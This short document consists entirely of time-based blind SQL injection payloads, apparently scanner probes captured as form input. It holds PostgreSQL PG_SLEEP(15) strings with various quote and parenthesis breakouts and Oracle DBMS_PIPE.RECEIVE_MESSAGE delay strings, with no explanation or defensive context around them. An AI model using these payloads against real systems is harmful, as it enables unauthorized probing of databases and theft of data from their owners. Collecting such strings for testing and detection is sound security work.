555-1 OR 77=(SELECT 77 FROM PG_SLEEP(15))--

555-1) OR 113=(SELECT 113 FROM PG_SLEEP(15))--

555-1)) OR 587=(SELECT 587 FROM PG_SLEEP(15))--

555bBF1iELw' OR 518=(SELECT 518 FROM PG_SLEEP(15))--

555CdULT39n') OR 760=(SELECT 760 FROM PG_SLEEP(15))--

555orFJplhY')) OR 116=(SELECT 116 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555